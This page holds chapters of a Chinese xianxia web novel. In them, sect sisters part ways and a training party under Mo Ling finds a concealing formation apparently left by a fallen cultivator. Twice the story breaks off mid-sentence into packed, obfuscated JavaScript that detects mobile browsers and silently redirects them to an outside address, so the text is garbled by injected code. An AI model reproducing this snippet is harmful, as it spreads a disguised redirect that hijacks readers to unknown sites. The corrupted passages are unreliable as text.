“我知道你的好意,穗穗。”姬忘尘望进对方清澈的双眸,“可正是如此,我不希望你的人生只围绕着我打转,那不是你原本的人生。” “师姐……” “穗穗,去吧。”姬忘尘很少有这么强硬的态度。 现在回想起来,汤穗穗从上山门之后就一直跟自己相伴,从来没有独立去处理过什么。 也正是如此,她经常会觉得,是自己对穗穗保护得太严实,耽误了对方的成长,还让师妹承担了不属于对方的负担。 她一直都知道,也一直都对师妹很愧疚。 而现在有了这样的机会,姬忘尘没有理由再将汤穗穗困在原地。她希望师妹能和澄澄一起出去、一起锻炼,获得属于她自己的感悟,从而在这条路上走得越来越远。 ……也能让她逐渐割舍自己的存在。 虽然她们行于一条朝向死亡的道路,但她们也应当以自己的方式谱写属于自己的未来。 尤其是汤穗穗,她的未来还一望无际,不应该和自己捆绑在一起。 更何况她还记得师妹还提到,此行将由墨陵带队。旁的不说,墨陵也是宗门中的佼佼者,行事速来有规划,并不值得担心。 “师姐。”汤穗穗捏紧了掌心,她感觉师姐正不断将自己往外推,没由来的心中泛起一股委屈。 她憋着嘴,压抑着这股情绪,移开视线望向一地枯叶,她不想让师姐看到自己眼里泛出的泪花:“我不想离开你。” “这不是离开,只是一场历练罢了。” 低垂着头的汤穗穗听到师姐的声音一如既往的温和,还带着些许笑意,感受到对方的手轻轻落在自己的头顶,还能感受师姐掌心的温度,驱散她心中的酸意。 82.关心则乱 在最后,汤穗穗还是决定和唐澄澄一同组队去试炼。 虽然她的心中有百般不舍,但也正如师姐所说,这是她自己必须往外迈出的一步。 至于师姐身上的问题,师姐也一定有妥善处理的办法。 ……比如师傅。 其实后来汤穗穗冷静下来想明白了,那天的话语是师傅碍于如今身份不得不做出的选择。然而,只要师姐一天没有入魔,那师傅依旧会像往常一样对待师姐。 解决了笼罩在心头的郁闷,汤穗穗的脸上又挂起轻松的笑容,习惯性地蹦到师姐身边,抱着对方的手臂问起她们方才的事情。 对于汤穗穗,姬忘尘想来毫不隐瞒。她简单地将铃铛的事情跟师妹简述,并说出她与蓝鄞最近找到的线索。 两人你一言我一句交谈着,不知不觉就回到了葛长老的药堂门口。这个时间葛长老并不在堂中,兴许是在门徒们住宿的地方,管理内务。这段时间里,虽然姬忘尘暂时答应留下,但她还是想和众人保持距离,也就一直住在药堂中。 她们回到药堂中,姬忘尘将师妹带到自己暂住的房间,从身后的柜子中装着纸笺的锦囊,放在两人面前的桌子上。汤穗穗将纸笺从锦囊中一张张摊出来。 诚然如师姐描述的那样,每一张纸笺都被倾洒的墨迹覆盖,糊成一团看不清痕迹,只能从未被覆盖的部分窥读一二。 “这些能除掉吗?”汤穗穗将其中一张拿起来,对着洒入室内的阳光,依旧看不清原本的内容。 “可以。前后两道墨迹落在纸笺上的时间不一致,可以根据这个耐心将最上层墨迹清楚。只是……”姬忘尘垂眸望着桌上的纸笺,眸光复杂,“很需要耐心。” 如果是以前心无旁骛的她,处理这些墨迹不过是信手拈来的事情;但现在她得知体内潜藏未被激发的魔种,使用灵气颇有顾忌,再加上心绪难评,处理起来不仅耗费更多的时间,而且效率也更低。 “那我试试!”汤穗穗看出师姐脸上的落寞,她主动请缨想要帮上师姐。 “好。”姬忘尘被汤穗穗兴致勃勃的模样逗得失笑,按耐住心中的愁绪,笑着将纸笺归拢收起来,当着她的面放在房间中柜子里,“那就麻烦穗穗了。” “不麻烦不麻烦!”汤穗穗忙不迭地点头。 “不过在那之前……”放好东西的姬忘尘走回来,坐在对方身边,笑着轻点师妹的额头,“你是不是该跟澄澄说一下方才的决定?” “啊,对!”故意拖延时间的汤穗穗佯装才想起来的样子,一拍脑袋咋咋呼呼地向外跑去。 身后的姬忘尘笑着摇摇头,没有戳穿少女的伪装。她起身离开关上房门,回到药堂大厅处理今日堂中的杂务。 而另一边,汤穗穗刚跑到唐澄澄的机关室,发现成师姐也坐在房间里,翻看一旁书架上的书籍;而唐澄澄正专心致志地捣鼓着她面前的装饰。 站在门口的汤穗穗刚迈了一只脚差点踩在地面上,一抬头就看到两人如此全神贯注,悬在半空的脚不知道该不该落下。 正当她犹豫不定的时候,成洱从书中抬头,起身走到她的身边,扬眉轻声:“来找澄澄?” “嗯……”汤穗穗终于将那只脚落在地面,探了半个身子,心底有些犹豫,脸上浮现不好意思的神情,伸手抓了抓头发,只觉得自己来得真不是时候,“……我是不是打扰你们啦?” 即便两人的声音很轻,但还是引得唐澄澄下意识抬头。看到半个身子伸进来的汤穗穗,眼睛一亮,连忙将手上的机械放到一边,起身跑到门口:“穗穗!你是答应了?!” 见到好友出现在这里,唐澄澄估计对方多半是愿意和自己一同,脸上的喜悦更明显了。 汤穗穗也不卖关子,郑重地点头,说出自己的决定。 而一旁的成洱记得澄澄方才说起的这件事,她也认可成成能多出去历练,这样既能多交些朋友,也能巩固自己的功法。 毕竟自己虽然能够庇护她这段时间,却不能持续到永远。 不过话又说回来,她不太清楚汤穗穗如今的水平,犹豫着开口:“不过你们两人有信心吗?需要我给你们出行前特别加训一下吗?” “不用不用!” 话音刚落,瞬间面如菜色的两人不约而同地摆手。成师姐特训的强度还是太刻骨铭心了,实在不想再次体验。 “好吧,那太可惜了。”成洱当然看得出两人的想法,笑着夸张叹气。 实际上她也知道自己的训练强度并非常人能忍受,目前能完整训练下来的人数屈指可数,比如在宗门大比的安翎,也就是当时和唐澄澄比试落败后的女子。 现在的安翎比起当时健壮了不少,再也没有那股弱柳扶风之感,取而代之是充满自信的英姿飒爽。 而唐澄澄得到汤穗穗的应允之后,忙不迭地拉着对方跑到报名的地方,生怕下一刻好友就要转变主意,而自己空欢喜一场。 当看着组队的名字加上汤穗穗时,唐澄澄终于将那口气呼了出来。 “你就这么不相信我?”回去的路上,汤穗穗忍了又忍,还是没忍住掐了一把对方腰间的软肉。 “怎么会呢!我只是担心我们没有名额了……”唐澄澄一边解释,一边笑着闪身躲避好友的“魔爪”。 两人就这样吵吵闹闹,脸上爬满了属于她们此刻无忧无虑的笑容。 少年人就当如此,嬉笑怒骂,自由随心。 随着一声钟响,撤去了灵力维系的冰棺,也化作漂浮的灵气逸散在天边。 顺着绿色颗粒飘散的轨迹,汤穗穗下意识地仰头,用视线追随着它们与天光融为一体。 不知不觉,她们已经在山上待了七天。与当时郑重的停灵仪式相比,七日后的今天,到场的人不到当时的三分之一,很多同门继续进行自己的任务。 也是在此刻,汤穗穗既觉得心中空落落的,又觉得胸口堵得慌。 现在的她逐渐品尝到了离别的意味。 不可避免的回想起,和母亲分别时懵懂的自己。她不再像当时那么乐观,忽然担心起那道没有约期的约定,后知后觉的慌张让她担心起家人的的近况。 她下意识捏紧自己的手,猛然袭来的厚重情绪压得她有些喘不过气来。她不知所措,下意识将求助的目光望向人群中最显眼的师姐。 但此时的师姐并没有向往常一样回看。她的眼神追逐着空中的微粒,沉默不语,不知道在想什么。 不过很快师姐收拾好了状态,朝自己忘了过来,眼神带着询问。 汤穗穗乖巧地摇摇头,按压下那些情绪。 她不想让自己的事情影响到师姐。 更何况,她和澄澄明天就要出去历练了,现在还得找到澄澄继续磨合磨合。这几天她们都是如此,两个人在找到宗门里合适的拟真训练培养默契,还有对于机关使用上的诀窍。 而唐澄澄也将手上的装置打造的越发完善,就等着历练那日。 这段时间里所有人都没闲着。成洱一如既往在山门内指导武艺;蓝鄞则成日将自己泡在藏经阁,试图早日找到阵法的解法;姬忘尘则按下躁动的心,一点点将纸笺上的污渍清除。 不过因为她原本就忧心体内魔种,使用灵力时也就更谨慎,一张纸笺花掉了将近两三个时辰的功夫才能逐渐清晰。 从已经清理的纸笺可以看出,写在上面的均是白宸的试验记录:白宸记录了不同验材之间的差别,和体内魔气蓄积的阈值。 不过纸笺间的信息还是有所缺漏,顺序也不是很能对应。 若想得到完整的信息,估计还得等被阵法封印的那部分一并整合。 又清除干净一张纸笺后,姬忘尘缓缓地睁开眼,望着上面书写得工整的字迹。尽管上面并没有提及自己,可姬忘尘总隐隐有一种感觉,自己也在小师舅的计划当中。 ——难道她也是验材之一吗? 可……自己作为验材,又能给对方提供哪一方面的结果呢? 即便她不想用黑暗的想法去揣测已逝的前辈,可她总是忍不住将自己体内的状况联想在一起。 她移开目光,从桌案前起身,做了个深呼吸调整自己的状态。 在放平思绪时她才记起,原来明日就到了穗穗她们历练任务的时间。 想起小师妹,她又想起成师姐提到的,两个小姑娘这几天主动去拟真试炼磨砺的事情。 一开始她的心中还会有许多惴惴不安,还主动过去观察她们的状态。不过出乎她意料的,穗穗现在已经成长了许多,在试炼中也展示了自己的力量,妥善地完成了一个又一个的试炼。 看到如今的穗穗,姬忘尘的脸上下意识浮起欣慰的笑容。穗穗与半年前天差地别,不再是只需要自己庇护的少女。 或许她早该放手,让穗穗在自己摸索自己的道路。 不过说来也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826873|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪,明明是她主动让穗穗去应承的任务,但这几天心口总是莫名其妙地跳个不停。 她不知道是否应当将这份情绪定义为“杞人忧天”,微皱眉头浅叹,也可能是自己对于穗穗初次独自行动的不放心。 脑海中被这股烦忧的思绪填满,让她鬼使神差地出了门。在她回过神来时,自己已经站在戒律堂的门口。 正当她懊恼准备转身离开时,门口看到另一张熟悉的面孔:“成师姐。” 看到成师姐的那一刻,姬忘尘悬在半空的心轻轻地落了下来,取而代之的是微妙的喜悦。 她心中有些窃喜:原来这就是当师姐的感觉吗? “我就知道。”成洱和姬忘尘对视时,眼神闪过有少许意外,不过也很快转变成了然。 “两位这是……”还没等两人叙旧,她们要等的人——墨陵就从戒律堂中走了出来,素来平静的脸上却浮起一丝疑惑,背后的戒律堂随着他的离开,也熄灭了灯火,重新归于黑暗。 他记得自己与这二位向来交集不多,一时间也摸不清对方的意图。 倘若是来戒律堂办事…… 他望着面前的两位不速之客,礼貌地拱手:“二位,戒律堂——” “我们是来找你的。”成洱打断对方的客套,大步上前,用力一拍墨陵的肩膀,压得他下意识挺直肩膀,将对方的手撑起。 前者恍若未觉,笑着仰着下巴挑眉开口:“小陵师弟,明日我家澄澄劳烦你多照顾了。” 虽然成洱脸上带着笑意,却不及眼底,话语中威胁的意味十分浓郁。在成洱师姐的体型面前,宗门中许多人都会下意识害怕。 不过墨陵并没有被成洱吓到,反而煞有其事地点头:“我会的,成洱师姐。” 得到满意答案的成洱,自然放松了对墨陵的压制。后者顿了顿转头,看向一旁沉默的姬忘尘:“我也会照顾好汤穗穗师妹的。” “那……谢谢。”姬忘尘硬着头皮回答。 “那,墨陵先告辞了。”眼看两人都是为了师妹而来,墨陵也不恼怒,平静地向两人辞别。 望着他离开的身影,姬忘尘才敢将心口的那股气息吐出来。其实她也不知道自己来找对方做什么,明明同行人除了墨陵,也还有其他修为不低的同门,定会保护她们周全。 ……只是,她总是会冒出很多不合时宜的悲观想法。 成洱倒是能从对方的眼神中看出些端倪,笑着开口:“我看啊,忘尘师妹你这是‘关心则乱’。” 后来成洱也简单地试验过汤穗穗如今的水平,远比她想象中要扎实,两人同行时她还得担心自家师妹会不会拖旁人后腿。 不过她没想到的是,姬忘尘并非表面那般泰然自若,反而比自己还担忧穗穗。 “忘尘师妹,你是一个很好的师姐,所以总会下意识替穗穗考虑一切安危。”不过作为过来人,她伸手揽着对方的肩膀,贴近对方有些冰冷的身体,出声宽慰,“只是穗穗长大了,我们总不能一直让她们留在自己的身边,又或者一直‘替’她们做决定。” “我知道的。”姬忘尘知道成洱的好意,垂着头眼睫轻颤。 “想起来和你们初见那会,”想起当时一无所知的穗穗,成洱失笑,话语中都带上几分压不住的笑意,“我还以为穗穗是你骗来的。 “那时候你啊,离我们都很远。……呐,就有些像这天边的明月,可望而不可即。” 姬忘尘顺着对方的视线,仰头看向藏在云层背后的月亮,散发出浅淡的光辉。 “那现在呢?”她下意识发问。 “现在嘛——”成洱故意卖了个关子,偏头望着对方娇丽的面容,在月光下依旧出尘。 可对方身上的气息与当时截然不同。 “是人,活生生的人。你比那时都要靠近我们。”成洱望进对方看过来的、明亮的眼眸,“就像出尘绝世的仙人,沾染上了红尘的烟火气息。 “虽然不知道你最近被什么困扰,但现在的你,比任何时候都要真实。” “……是好事吗?”姬忘尘咽下口水,望着成师姐眼中自己的倒影。她的心脏止不住地砰砰直跳,声如擂鼓,几乎听不到周遭的任何声响。 “你觉得呢?”成洱并未给予解答。 她只是笑着背过身,往回去的方向抬步,又将问题抛回给姬忘尘:“答案应当在自己身上找寻——为什么不问问你的心呢?” 83.障眼法 “准备好了吗?”在离开宗门之前,墨陵对着队伍中众人询问,视线停留在其中两个稍显青涩的面孔,“如果后悔,现在还有走的机会。” 虽然没有点名道姓,但汤穗穗知道对方就是看着她们两人开口的。身旁的唐澄澄紧紧地抱着自己的手臂,用坚定的眼神表达了她的选择。 而汤穗穗自己跟师姐进行过很多次任务,相对比唐澄澄冷静不少。她伸手盖在澄澄的手背上,直视墨陵的眼睛:“我们准备好了。” “好。”墨陵并没有说过多的寒暄,眼风一扫队伍中的其她人,“你们也是。” 片刻后,得到肯定回复的墨陵从怀中掏出一张黄符,念咒将黄符展开。符箓瞬间落在地面上,展现出阵法的形状。 “这是……”汤穗穗瞪大了眼睛。 “应当是秋长老的灵符,应当是传送作用。”在山门更久一些的澄澄认出了对方手中的物件,“不过可惜的是,据说是很久以前的前辈所赠,现在属于用一张就少一张的程度。” “那不能再制作吗?” 听到好友的问话,唐澄澄无奈地摇头:“简单的符箓大家手上都有,但像这样的,内置阵法的符箓,只有极少数的阵法天才才能做到。” 而随着上一位阵法大师张长老的灵散,宗门内再无一人能取得她们当时的成就,更别说制作这种更为精细的灵符了。 “原来是这样。”汤穗穗倒没有澄澄那样悲观。说到阵法,她的脑海里就冒出一个人的身影:“我觉得蓝师姐能做到的。” “蓝师姐?”唐澄澄不知道对方为什么突然提起来。 “你居然不知道吗?!”汤穗穗忍不住提高音量,想要跟澄澄详细地描述蓝师姐与阵法的事情。 但还没等她开口,就被墨陵平静的声音打断了:“你们。” 两人猛地朝墨陵看过去,除她们以外,所有人都站在阵法的圈内。 “抱歉抱歉!”汤穗穗比澄澄反应更快,抓着对方的手臂快步跑到圈中,低着头连声道歉,观察着墨陵脸上的神色。 出乎她意料,对方的脸上并没有责罚、埋怨之类的情绪,只是继续着手上的动作:“站稳了。” 望着操纵灵符的墨陵,汤穗穗好像对对方又有了不一样的认识。 她自己和对方只在入山门的那时打过照面,对对方还停留在冷峻、铁面无私的印象上。 现在她才后知后觉的反应过来,墨陵师兄也算是同辈中优秀的人物。但很不巧的,身边还有比他更优秀的姬忘尘和蓝鄞师姐。因此墨陵总是在她们的阴影之下,鲜少被想起。 以至于宗门中人对他的印象,更多也是戒律堂中严酷的一面。 还没等汤穗穗细想下去,只觉得一阵疾风袭来,她下意识闭了眼。与此同时,她只觉得周围天旋地转,下意识抓紧了身旁人——她身旁的人也是如此。 在这阵极其难受的感受中,汤穗穗皱巴着脸,决定收回方才对墨陵师兄讲的全部好话。 不知道过去了多久,汤穗穗终于感觉自己的脚落在了实地,但她的脑袋还是被转得晕乎乎的,隐约中好像听到有人说了句“到了”。 她能感觉到澄澄仍紧紧地攥着自己的手臂,她闭着眼伸手拔出腰间的链剑,变大撑在地面上,勉强站稳的身形。即使还有些头晕目眩,但她也强撑着张开双眼。 她先看向身旁的澄澄,对方的脸色苍白、面无血色,但也睁开了眼睛,对着自己微微地点了头。 看到好友的状况还可以时,她心中也放松了下来,伸手搀扶着对方,抬头望向同行的其她人:队伍里的同门也如同她那般,要么使出自己的武器支撑;要么靠身旁的同门搀扶。 汤穗穗一度怀疑,符箓的淘汰是因为对传送的人太不友好了。 她的视线继续往人群外看去,唯独有一个身影侧身对着她们,手上放着罗盘,目光在罗盘上和周围的环境比对着,寻找接下来前进的方向。那人感受到她投来的视线,快速转头,锋利的视线望过来时,几乎穿透汤穗穗的灵魂。 但很快,对方又收回了视线,继续落在手中的圆盘上。 望着毫无狼狈姿态的墨陵,穗穗坏心眼地怀疑,说不定他就是故作镇定,实际上脑袋也同样晕乎乎的。 得益于修士的身体被灵气重新锻造,众人在运转几个周天之后,身上的不适症状完全清除,再一次变得精神抖擞。 眼看众人的状况调整了过来,墨陵也拿着罗盘带各位继续往目的地走去。她们这一趟的任务更多是清除周围残留的瘴兽,并对潜藏的魔种进行清理。 因为涉及到的范围比较广、琐碎的魔物也有许多,原本想着一人处理的墨陵来过一次,实在是分身乏术,这才在宗门发布了任务。 到了范围内时,墨陵给队伍众人安排了不同的区域,修为相对更低的汤穗穗几人就负责处理周围低级的瘴兽。 将任务安排下去之后,队伍众人逐一散开,去往自己负责的区域。汤穗穗两人也对视点头,去到自己负责的地方。 就像墨陵所说的那样,周围有许多未散去的魔气凝结而成的瘴兽,虽然伤害不高,但很是棘手。不过好在她这些天和澄澄两人在拟真试炼中磨合了许久,两人也算是颇有默契,还有功夫将澄澄的装置抛出来,当场试验装置的实用性。 一切都进行得很顺利。她们顺利清除了周边的瘴兽,澄澄也收集到了她所需要的试验数据。 随着又一只瘴兽的倒地消散,汤穗穗收了剑站在一旁看向手中的罗盘,罗盘的指针平稳的下来,与寻常的指南罗盘无异;澄澄蹲在装置旁边,检查着装置的状态。 她轻轻呼出一口气,脸上忍不住扬起自豪感。原来她也能够独立完成一长试炼,可真是了不起! 林中忽然卷起一阵风,卷得周围的树叶“沙沙”作响,带起地上的落叶咋子半空中打着旋。 这不过是寻常的山风,可不知道为什么,汤穗穗却在风中嗅到了些许让她忍不住蹙眉的味道。她很难说清具体是什么,只是觉得十分难受,忍不住转身面对风的来处闭眼,试图用灵力分辨这道混在风中的气息。 “好了,我们走吧!”唐澄澄将东西收回了乾坤袋,刚准备让好友回汇合地方,却看着她望着北面出神。她知道好友的敏感,收敛了眉间的喜色,小心翼翼地走过去询问:“怎么了?是有什么不对劲的地方吗?” “……我好想感受到了魔种。”汤穗穗睁眼,犹豫着开口。方才借着灵气,她感受到了风的来处混杂着浓郁的紫气,不像是瘴兽……更像是魔种。 “魔种?!”唐澄澄有些不可置信,“可是这里附近的魔种不是被清除了吗?” “不是附近,有些远。”汤穗穗闭上眼,继续感受着那股气息,或许在几百里之外。可惜的是,她的修为还不算太高,只能隐隐约约地感受,而不能给出确切的位置。 “要不我们跟墨陵师兄说说吧!”唐澄澄也学着穗穗那样,尽管她什么多没感觉出来,但她并不认为是好友的错觉。 “嗯。” 心事重重的两人回到了汇合点,大部分的同门都已经完成范围的净化任务等在了原地,包括墨陵。 虽然感受到了魔种的气息,但汤穗穗心中还是十分怀疑,生怕是自己的错觉。 “有事?”墨陵一眼就看到汤穗穗欲言又止的模样,上前一步主动开口。 “我……”汤穗穗张了张口,无措地眨眼,还是没想好该怎么开口。 “我们感受到了魔种。”没想到一旁的唐澄澄先开了口,还主动将两人绑在一起。 “魔种?”听到这个名字,墨陵的眼神瞬间变得十分锐利,他的眉宇拧成“川”字,“在哪?” 他的声音不自觉加重,带着几分寻常在戒律堂的威严,吓得唐澄澄后退了一步,紧张地咽着口水。但开弓没有回头箭,她硬着头皮刚想接着开口,身旁的穗穗将话语接了过去。 “……就是这样。但很微弱,我不太确定。”汤穗穗握着澄澄的手,坚定地望着面前的人,等待对方做选择。 “真的有魔种吗?我这么一点都没感受到?” “……我也没感受到。” “我也……” 和沉思的墨陵不同,周围的几位同门方才就闭眼感受着,都没有察觉出穗穗口中所说的魔种。 “有可能是风的缘故。”唐澄澄听到众人的质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833669|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑,连忙站出来解释,“方才正好有一阵风吹了过来,所以我们才能感受到的。” “是吗?”可几位同门的脸上依旧半信半疑,还有人眯着眼审视着她们两人,“该不会是你们嫌任务太轻松,故意编的吧?” “不是的不是的……”唐澄澄本来就不擅长和人打交道,面临她们直白的怀疑,她脑海一片空白,一时之间哑口无言。 “够了。”墨陵打断了周围的质疑声,冷冽的眼光扫过去,让质疑的同门噤了声。 他方才也试着感受,正如同门所说,他也没有感受到魔气的存在。但他不认为汤穗穗所言是无稽之谈,最好的办法就是靠近那处位置一探究竟。 眼看墨陵严肃的神情,原本的质疑声也压了下去,纷纷表态愿意同行。 得到大家支持的唐澄澄兴奋地望向好友,攥紧了对方的手;而汤穗穗也因此得以将这口气呼了出来。 她们先带着众人去到方才感受到魔气的位置。恰好又起了一阵风,墨陵这回捕捉到了些许混杂的魔气,依旧不像汤穗穗那般清晰判断魔气的位置。 无奈之下,他只能由汤穗穗带路。汤穗穗自然不敢懈怠,闭上眼抓住即将消散的、裹挟在风中的气息,往某个方向走去。唐澄澄在她身边,罗盘摆在自己的掌心作为辅助,随时感受魔气的波动。 因为需要不断从风中捕捉这点细微的存在,所以她们走得很慢。不过好在,林中时常传来一阵又一阵的风,为她们带来更明确的指引。 不知道为什么,汤穗穗觉得她行走的轨迹有些奇怪,就像被引导着、刻意走出什么样的痕迹。这种痕迹让她觉得有些熟悉,但又没有这样的意识。 她下意识望向周围的同门,在场所有人的脸色比起方才,都变得十分沉重。这阵阵间歇的风也意味着,在这附近一定有魔种在影响着。 “停。”墨陵突然叫停了前进的脚步。 现在无需汤穗穗带路,他已经能明显的感觉到魔种的存在。他是肯定想继续追踪下去的,但他不能替别人做主。 因此他转身面对着一众茫然地面孔,给出了她们选择离开的机会。 “墨陵师兄,你把我们当什么人了?”心直口快的师姐皱眉反问,“难道我是什么贪生怕死之人吗?” “对啊,都到这里,怎么能中途回去?”面容憨厚的师兄笑了,“难道你希望我就这样回去,然后念念不忘一辈子?” …… 听着面前人逐一表态,他素来不露声色的脸上也勾起浅淡的笑容。他将视线转到队伍中两个结丹期的少女:“你们呢?” 在她们还没开口时,墨陵又想到了昨晚的事情,补充道:“回去吧,你们的师姐很担心你们。” 既然应承了这两位的师姐,那就要对两人负责,不让她们面对未知的危险。 “这……”听到对方明显劝退的意思,唐澄澄心中也打了退堂鼓,她望向身旁的好友,“穗穗,要不我们回去吧?” “……好。”虽然汤穗穗也想查明魔气尽头的真相,但她更忧心宗门里师姐的状况。 既然原本的任务已经完成,那她们离开也是合情合理。 墨陵点点头,从怀中又掏出一张符箓,同她们来时那样,脚下出现阵法的纹样。汤穗穗站在阵中,低头盯着脚下的纹路,忍不住想把这道痕迹拓下来,再交由蓝师姐,对方应当就能复刻这道阵法…… ——对,是阵法! “等等!”就在墨陵即将催动传送阵的那一刻,汤穗穗拉着澄澄跳了出来,“不对——” “怎么了?!”汤穗穗突如其来的动作吓到了所有人,大家围在她的身边,看着少女惊慌失措的神情,有人以为对方被来时的传送阵吓到,连声安慰。 但汤穗穗什么都听不进去,她的脑海将方才来时走过的道路逐一连接,最后形成了一副特殊纹样的图——她曾在蓝师姐阵法书籍中看到过。 “……是阵法。”意识到这一点的她下意识咽下口水,心脏几乎要跳出胸膛,声音颤抖不止,下意识捏紧了面前墨陵的手腕,“……我们,在障眼的阵法里。 “……如果我猜得没错,这里应当藏着白宸的魔物验体。” 84.洞中巨蛛 这道猜测一出口,惊得原本安慰的同门面面相觑、下意识屏住了呼吸,周身身旁的气氛瞬间犹如实质般凝结。 对于白宸这个名字,她们都不陌生。 那位可是乾坤宗里无人不知、无人不晓的存在。 ——不仅仅是因为他超凡的天赋,更是因为他滥用天赋作恶,入魔后,被前宗主无情诛杀。宗门里相识的师长每次提起这个人,都是恨铁不成钢的语气。 “……不会吧。”有人不肯相信,抱着手臂按下刚刚生起的鸡皮疙瘩,不受控制地打了个寒颤,脸上仍强颜欢笑,“穗穗师妹,这个玩笑可不好笑。” 听到同门的质疑,汤穗穗抬眼向对方望去,张了张嘴。即便她想说些什么,但她脑子被自己的猜测吓得现在一片空白,找不到自己的声音。 等她思绪稍微回笼时,才感觉自己掌心握着什么——她低头看去,才发现自己还捏着墨陵的手腕,在上面留下了一道红印。她连忙松开,双手紧捏自己身侧的衣摆,低声道歉。 不过墨陵并没有将心思放在她的身上,他下意识地摇头回应,但沉下来的脸色向周围众人印证这并非一场玩笑。 “……是怎么回事?”有人冷静下来,拧着眉望向墨陵,“你不是说这附近的魔种已经被净化了吗?怎么又莫名其妙来个障眼法,是什么意思?!” “……记录在册的,”对于那人的疑问,墨陵用力地闭上眼又睁开,回想当时看到的名字,语句生涩,“就是白宸。” 之所以对这个名字印象深刻,也是因为他经常听自家师傅念叨白宸曾经极高的天赋,与那人后来截然相反的选择。 以至于他当时看到这个名字的时候并未生疑,只是心中不由得感慨句:此一时非彼一时。 也正因如此,在汤穗穗开口之后,这一路上的诡异之处也就得到了解释。按常理来说,在周围没有魔种的情况下,大概率是不会存在瘴兽。 当时他初勘此处时,也只是怀疑周围仍存在未被发现的魔种。 他怎么也没想到,白宸非但没有净化此处的魔种,反而胆大包天地将其藏匿起来。 不过现在不是想这些事情的时候。 “——还能出去吗?”意识到形势严峻的墨陵立马整理思绪,望向汤穗穗。 不管受她人所托亦或是自己的本心,倘若可以,他还是想先将几位修为更低的人送出去。 只可惜这一切已经来不及,但此时的她们已经在阵法中。倘若想走出去,除非破除作为‘基石’的阵眼,又或是找到其她破解的法子,否则她们根本出不去。 这些还是当时蓝师姐塞过来那本书上写的部分,因此她所知道的内容也十分有限。 听完汤穗穗所说的这些,众人的脸色愈发凝重。她们都没有意料到,看似简单的这一趟竟然如此危机四伏。 对于现在的情况,汤穗穗的心中也有几分猜测。 或许正是当年宋璋师姐在宗门掀起学习阵法的兴致,而这位天分极高的天之骄子同样也学习了阵法。他虽然不如宋璋师姐在阵法上的造诣,但依旧学会了许多罕见的阵法。 随着宋璋师姐的离去,能够解除阵法的人也就屈指可数。因此,暗自谋划的白宸便选择了使用阵法来掩人耳目。 想到这里,汤穗穗又想起那些被污染的纸张。 只是不知道直到现在,她们都不知道白宸当年的谋划还有多少,而他的真正意图又是什么。 “等等——”有人抓住方才汤穗穗口中的话,打断了她的思绪,“你说的‘验体’……是什么意思?” “我……”意识到方才口不择言的汤穗穗抿着唇,缄默不语。在那一切没有理清的时候,不应该由她来开这个口,避免引起旁人的惶恐。 又一人看出穗穗的状态,心中有几分猜测,笑着打圆场:“你忘了吗,白宸当年不是还暗中饲养魔物吗?穗穗师妹也是往这个方面猜测而已,对吧?” 顺着对方的台阶,汤穗穗捏着衣摆点头,承认这只是自己的“猜测”。 “说的也是哦。”那人并未追究下去,重新着眼于当下,“不过现在怎么办?既然是阵法相关,……我们这里有精通阵法的吗?” 只可惜,当她的视线向在场诸位逐一扫去时,得到的皆是摇头。 “那怎么办,我们总不能一直呆在这里吧?”她不由得叹了气,伸手抓了抓头发,露出烦躁的神情。 她们这一辈的人,研究阵法的少之又少,所掌握的阵法也只是特别基础的,完全不能处理现在的场面。 “……要是蓝师姐在就好了。”汤穗穗闭着眼努力回想着当时看过的内容,可惜什么都没在她的脑子里留下,她恨自己怎么当时怎么没有多学一些。 从方才就一直保持着沉默的唐澄澄,马上意识到好友情绪不对,伸手盖在对方的手背上,轻声安慰道:“穗穗……” 现在的她什么忙都帮不上,一惯引以为傲的机关装置在此刻也毫无用武之地。 “既然出不去,就接着走吧。”墨陵终于开口,他拍了拍汤穗穗的手臂,转身望向面前魔气浓郁的地方,“结丹期的几位站在中间。各位握紧武器,警惕周围。” 既然不能从阵法入手,那就一点点摸索往前,碰上魔物那就将它斩了便是——总不能一直待在原地,对着未知唉声叹气。 墨陵的镇定让原本无措的队员心中也安定了不少,纷纷点头将栓收的武器握在掌心,还根据不同的武器调节了几人的位置。 等一行人再次出发的时候,她们脸上神色凝重了许多,但眸光也坚定了不少。被几位同门围在中间的汤穗穗下意识抓紧了唐澄澄的手,两人对视点头,另一只手也握紧了武器,靠彼此的温度让比彼此安心。 直到现在,汤穗穗的心脏直到现在还剧烈地跳个不停,她的脑子被许多想法充盈着。 她现在迫不及待想要回到宗门里,想要将当时师姐跟她提及的被墨迹覆盖的纸笺上的信息整合出来。 从现在已知的情况来看,像这样被藏匿的魔物、王城中的杜蕴辰,绝对不会是个例。 不管白宸最终的谋划是什么,都一定要将对方剩下的残局清理干净——绝对不能再让他当时的选择祸害更多的生灵。 虽然周围的景象并无不同,但一行人依旧走得十分谨慎。也正因如此,她们还在路上顺手净化了一些被魔气污染的生灵,倘若没有方才的提醒,说不定面对魔物时还会更慌乱几分。 谁也不知道这条路的尽头到底在哪里,被藏匿的魔物有究竟是怎样的修为,她们只顾往前走着。 被护在中间、对阵法知识了解得多一些的汤穗穗,也在同时观察着周围的景象,努力回想着书籍上的知识。 或许是她冷静下来的缘故,她能够回想起只言片语。 忽然,路上一块不起眼的石头引起了她的注意。这分明是干燥的林间,但这块石头上因常年泡水而看起来湿哒哒的。 很不对劲。 